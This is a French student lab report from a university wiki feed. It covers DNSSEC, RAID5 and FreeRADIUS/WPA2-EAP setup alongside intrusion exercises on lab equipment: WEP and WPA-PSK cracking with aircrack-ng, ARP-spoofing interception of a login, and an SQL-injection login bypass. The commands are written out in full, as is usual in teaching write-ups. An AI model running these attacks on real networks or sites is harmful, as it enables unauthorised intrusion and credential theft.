Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle -type : plain&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Honey_L%C3%A9na.png&amp;diff=54712</id>
		<title>Fichier:Honey Léna.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Honey_L%C3%A9na.png&amp;diff=54712"/>
				<updated>2020-12-15T14:45:46Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : Lchenu a téléversé une nouvelle version de Fichier:Honey Léna.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54711</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54711"/>
				<updated>2020-12-15T14:43:33Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration des points d'accès WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
